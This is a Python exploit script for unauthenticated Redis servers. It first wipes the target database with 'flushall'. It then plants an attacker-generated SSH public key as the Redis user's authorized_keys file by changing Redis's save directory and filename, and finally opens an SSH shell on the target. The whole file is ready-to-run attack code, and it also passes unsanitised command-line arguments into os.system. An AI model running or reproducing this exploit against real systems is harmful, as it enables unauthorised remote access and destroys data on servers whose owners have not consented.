redis.py

#!/usr/bin/python

import os
import os.path
from sys import argv
from termcolor import colored

script, ip_address, username = argv

PATH='/usr/bin/redis-cli'
PATH1='/usr/local/bin/redis-cli'
REDIS_SSH_PATH = "/var/lib/redis/.ssh/" # change if necessary

def ssh_connection():
	shell = "ssh -i " + '$HOME/id_rsa ' + username+"@"+ip_address
	os.system(shell)

if os.path.isfile(PATH) or os.path.isfile(PATH1):
	try:
			print(colored('\t*******************************************************************', "green"))
			print(colored('\t* [+] [Modified Exploit] Misconfigured Redis Server Instance' ,"green"))
			print(colored('\t* [+] Ry Santillan (fagray)                              ', "green"))
			print(colored('\t*******************************************************************', "green"))
			print ("\n")
			print(colored("\t SSH Keys Need to be Generated", 'blue'))
			os.system('ssh-keygen -t rsa -C \"ryllan"')
			print(colored("\t Keys Generated Successfully", "blue"))
			os.system("(echo '\r\n\'; cat $HOME/id_rsa.pub; echo  \'\r\n\') > $HOME/public_key.txt")
			cmd = "redis-cli -h " + ip_address + ' flushall'
			cmd1 = "redis-cli -h " + ip_address
			os.system(cmd)
			cmd2 = "cat $HOME/public_key.txt | redis-cli -h " +  ip_address + ' -x set cracklist'
			os.system(cmd2)
			cmd3 = cmd1 + ' config set dbfilename "backup.db" '
			cmd4 = cmd1 + ' config set  dir ' + REDIS_SSH_PATH
			cmd5 = cmd1 + ' config set dbfilename "authorized_keys" '
			cmd6 = cmd1 + ' save'
			os.system(cmd3)
			os.system(cmd4)
			os.system(cmd5)
			os.system(cmd6)
			print(colored("\tYou'll get shell in sometime..Thanks for your patience", "green"))
			ssh_connection()

	except:
		print ("Unfortunate things happened. Try harder!")
else:
	print (colored("\tRedis-cli:::::This utility is not present on your system. You need to install it to proceed further.", "red"))